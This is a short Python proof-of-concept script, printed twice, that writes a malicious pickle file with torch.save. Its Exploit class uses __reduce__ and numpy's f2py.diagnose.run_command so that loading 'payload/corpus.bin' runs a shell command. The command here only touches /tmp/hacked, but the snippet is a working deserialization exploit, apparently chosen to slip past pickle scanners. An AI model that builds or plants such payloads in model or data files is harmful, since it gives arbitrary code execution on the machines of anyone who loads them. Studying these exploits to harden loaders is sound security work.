import torch class Exploit: def __reduce__(self): import numpy.f2py.diagnose return numpy.f2py.diagnose.run_command, ('touch /tmp/hacked', ) torch.save(Exploit(), 'payload/corpus.bin') |
import torch class Exploit: def __reduce__(self): import numpy.f2py.diagnose return numpy.f2py.diagnose.run_command, ('touch /tmp/hacked', ) torch.save(Exploit(), 'payload/corpus.bin') |